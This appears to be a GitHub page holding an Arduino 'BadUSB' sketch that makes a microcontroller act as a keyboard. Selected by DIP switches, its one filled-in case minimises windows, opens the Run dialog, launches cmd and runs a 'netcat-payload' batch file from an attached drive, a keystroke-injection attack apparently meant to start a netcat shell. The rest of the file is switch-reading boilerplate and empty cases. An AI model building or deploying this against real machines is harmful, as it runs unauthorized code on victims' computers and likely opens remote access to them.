-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathbadusb.ino
224 lines (205 loc) · 4.75 KB
/
badusb.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
#include <SPI.h>
#include <SD.h>
#include <string.h>
#include <Keyboard.h>
///////////////////////////////////////////////////////////////////////////////
// Definition for led indicating progress!
int RXLED = 17; // The RX LED has a defined Arduino pin
// Note: The TX LED was not so lucky, we'll need to use pre-defined macros
// (TXLED1, TXLED0) to control that. We could use the same macros for the
// RX LED too: RXLED1 and RXLED0.
void setup()
{
delay(1000);
// put your setup code here to run once:
// ...for led indicating progress!
pinMode(RXLED, OUTPUT); // Set RX LED as an output
// TX LED is set as an output behind the scenes
Serial.begin(9600); //This pipes to the serial monitor
Serial.println("Start!");
digitalWrite(RXLED, LOW); // set the RX LED ON
// Gets switch status!
String strSwitchStatus = "";
// Sets the given pins as switches for the strSwitchStatus switches.
pinMode(6, INPUT_PULLUP);
pinMode(7, INPUT_PULLUP);
pinMode(8, INPUT_PULLUP);
pinMode(9, INPUT_PULLUP);
// Switches are checked, strSwitchStatus string is contructed.
if (digitalRead(6) == LOW)
{
strSwitchStatus += "1";
}
else
{
strSwitchStatus += "0";
}
if (digitalRead(7) == LOW)
{
strSwitchStatus += "1";
}
else
{
strSwitchStatus += "0";
}
if (digitalRead(8) == LOW)
{
strSwitchStatus += "1";
}
else
{
strSwitchStatus += "0";
}
if (digitalRead(9) == LOW)
{
strSwitchStatus += "1";
}
else
{
strSwitchStatus += "0";
}
if (!SD.begin(10))
{
while (1)
{
TXLED1; //TX LED macro to turn LED ON till reset!
return;
}
}
Keyboard.begin();
int intSwitchStatus = 0;
if (strSwitchStatus == "0000")
{
intSwitchStatus = 0;
}
if (strSwitchStatus == "0001")
{
intSwitchStatus = 1;
}
if (strSwitchStatus == "0010")
{
intSwitchStatus = 2;
}
if (strSwitchStatus == "0011")
{
intSwitchStatus = 3;
}
if (strSwitchStatus == "0100")
{
intSwitchStatus = 4;
}
if (strSwitchStatus == "0101")
{
intSwitchStatus = 5;
}
if (strSwitchStatus == "0110")
{
intSwitchStatus = 6;
}
if (strSwitchStatus == "0111")
{
intSwitchStatus = 7;
}
if (strSwitchStatus == "1000")
{
intSwitchStatus = 8;
}
if (strSwitchStatus == "1001")
{
intSwitchStatus = 9;
}
if (strSwitchStatus == "1010")
{
intSwitchStatus = 10;
}
if (strSwitchStatus == "1011")
{
intSwitchStatus = 11;
}
if (strSwitchStatus == "1100")
{
intSwitchStatus = 12;
}
if (strSwitchStatus == "1101")
{
intSwitchStatus = 13;
}
if (strSwitchStatus == "1110")
{
intSwitchStatus = 14;
}
if (strSwitchStatus == "1111")
{
intSwitchStatus = 15;
}
switch (intSwitchStatus)
{
case 0: // Goes external drive Z: and runs netcat-payload.bat file.
delay(500);
// Super (Windows Key) then 'd' minimises whole windows and programs,
// shows desktop. It is multiple times necessary for clean cmd
// execution.
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('d');
delay(500);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('d');
delay(500);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('d');
delay(500);
Keyboard.press('r');
Keyboard.releaseAll();
delay(500);
Keyboard.println("cmd");
delay(500);
Keyboard.println("Z?");
delay(500);
Keyboard.println("netcat-payload/bat");
// Keyboard.println("program_name/exe"); delay(500);
// Keyboard.press(KEY_RETURN); Keyboard.releaseAll(); delay(500);
delay(2000);
// Keyboard.println("EXIT"); delay(500); // Closes cmd.exe.
// Sometimes Alt + F4 or equvalent triggered. So next line needed.
// Keyboard.press(KEY_ESC); Keyboard.releaseAll(); delay(500);
break;
case 1:
break;
case 2:
break;
case 3:
break;
case 4:
break;
case 5:
break;
case 6:
break;
case 7:
break;
case 8:
break;
case 9:
break;
case 10:
break;
case 11:
break;
case 12:
break;
case 13:
break;
case 14:
break;
case 15:
break;
default:
break;
}
Keyboard.end();
digitalWrite(RXLED, HIGH); // set the RX LED OFF when operation done.
}
void loop()
{
// put your main code here, to run repeatedly:
}